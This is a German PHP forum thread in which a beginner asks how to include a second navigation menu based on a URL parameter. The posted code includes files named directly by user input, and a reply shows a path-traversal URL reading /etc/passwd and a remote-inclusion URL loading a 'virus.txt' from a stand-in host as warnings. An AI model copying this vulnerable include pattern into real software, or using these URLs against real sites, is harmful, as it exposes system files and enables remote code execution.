include Probleme
tschimo
- php
Hallo Leute
Ich habe einige Probleme mit den includes in PHP
Ok hier mal der Beschrieb,
ich habe eine tabelle mit head und dan 3 spalten (navi1, navi2, anzeige)
ich möchte nun wen ich in der navi1 anhande eines links etwas in die anzeige include, es gleichzeitig eine 2te kleine navigation in navi2 includet. Ich werde aber nicht schlau wie dies funktioniert!
Ich hoffe es kann mir jemand helfen.
Gruss aus der Schweiz tschimo
Hello,
include() sit genauso böse, wie eval(), system(), exec(), usw.
Man sollte also genau überlegen, wann und wie man es verwendet.
Für reine interne Zwecke ohne Parameter vom User ist es vernünftig.
Bei Übernahme von Parametern muss man genauso überlegen, wie bei den anderen Einbindungsfunktionen.
Wahrscheinlich würde Dir eine entsprechend schlau geschreibene Funktion viel weiter helfen, als ein Include().
Harzliche Grüße aus http://www.annerschbarrich.de
Tom
@wahsaga:
ja genau aber ehhm wie meinst du sas einen 2ten include? dies ist doch gar nicht möglich? hier sonnst mal die GET Anweisung:
<?
if ($_GET["include"]!="") {
if (file_exists($_GET["include"])) {
include($_GET["include"]);
} else {
echo "Die Page ist noch im Aufbau wir Bittem um verständnis.";
}
}
?>
hi,
ja genau aber ehhm wie meinst du sas einen 2ten include? dies ist doch gar nicht möglich?
warum sollte es das nicht sein?
hier sonnst mal die GET Anweisung:
<?
if ($_GET["include"]!="") {
if (file_exists($_GET["include"])) {
include($_GET["include"]);
} else {
wer oder was hindert dich daran, jetzt in deiner tabellenzelle navi2 diesen get-parameter erneut abzufragen, und wenn sein wert gleich "xy" ist, dort den include einer bestimmten weiteren datei durchzuführen?
gruß,
wahsaga
hi, danke erstmals für deine bemühungen, ich bin erst am PHP lernen....
also meinsst du in diesm sinn......:
if ($_GET["include"]=="xy") {
???
wen ich nun zum bsp im ersten include die page home.php lade muess ich dies dan beim 2ten als xy angeben? sorry für die "blöden" fragen, und danke im voraus...
hi,
wen ich nun zum bsp im ersten include die page home.php lade muess ich dies dan beim 2ten als xy angeben?
unter welcher _bedingung_ du deine zusatznavigation anzeigen lassen willst, musst du schon selber wissen.
gruß,
wahsaga
dass ist mir klar doch ich schnalle es nicht so ganz.
naja egal, trotzdem danke
Wenn du zum Beispiel in $id den Namen der jeweiligen Seite speicherst:
if ($_Get['id']){
include ("nav1/$id.php");
}
Gruß
Flo
Hello,
>http://www.domain.tld/?include=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Nur so als Beispiel...
Oder:
>http://www.domain.tld/?include=http:%2F%2Fminisaft.tld%2Fschadsoftware%2Fvirus.txt
<?
if ($_GET["include"]!="") {
if (file_exists($_GET["include"])) {
include($_GET["include"]);
} else {
echo "Die Page ist noch im Aufbau wir Bittem um verständnis.";
}
}
?>
Oder sehe ich das verkehrt?
Harzliche Grüße aus http://www.annerschbarrich.de
Tom
hi,
>http://www.domain.tld/?include=http:%2F%2Fminisaft.tld%2Fschadsoftware%2Fvirus.txt
da sollte file_exists aber kein true melden ...
gruß,
wahsaga
Hello,
>http://www.domain.tld/?include=http:%2F%2Fminisaft.tld%2Fschadsoftware%2Fvirus.txt
da sollte file_exists aber kein true melden ...
Das kommt bestimmt auf die PHP-Version und ihre Spielarten an.
http://de2.php.net/manual/en/function.file-exists.php
Harzliche Grüße aus http://www.annerschbarrich.de
Tom
>http://www.domain.tld/?include=http:%2F%2Fminisaft.tld%2Fschadsoftware%2Fvirus.txt
da sollte file_exists aber kein true melden ...
Das kommt bestimmt auf die PHP-Version und ihre Spielarten an.
http://de2.php.net/manual/en/function.file-exists.php
Ach du heilige... Worauf soll man sich denn da noch verlassen können, wenn das "file" mittlerweile u.U. auch für "resource" steht?
Im Gegenzug fordere ich hiermit, dass allow_url_fopen auch keinen Unterschied zwischen file und resource mehr macht. :-)
Hello,
Das kommt bestimmt auf die PHP-Version und ihre Spielarten an.
http://de2.php.net/manual/en/function.file-exists.phpAch du heilige... Worauf soll man sich denn da noch verlassen können, wenn das "file" mittlerweile u.U. auch für "resource" steht?
Nein. Ich fordere von den PHP-Entwicklern etwas mehr Professionalität und Loyalität zu ihren bisherigen Verwendern und nicht zu den Geldgebern, die sich dieses tolle System zu eigen machen, um es auzuhöhlen und zu missbrauchen.
Ein seriöser Entwickler würde nach dem bisherigen PHP-Konzept einen uzusätzlichen optionalen Parameter einführen, der per Default alles beim alen lässt und per Angabe dann z.B. auch ein TRUE für fopen_wrappers setzenn lässt.
Harzliche Grüße aus http://www.annerschbarrich.de
Tom
hi,
ich möchte nun wen ich in der navi1 anhande eines links etwas in die anzeige include,
dazu fragst du sicher einen per GET übergebenen parameter ab.
es gleichzeitig eine 2te kleine navigation in navi2 includet. Ich werde aber nicht schlau wie dies funktioniert!
frage den GET-parameter an dieser stelle ebenfalls ab, und führe hier ggf. ein weiteres include durch.
gruß,
wahsaga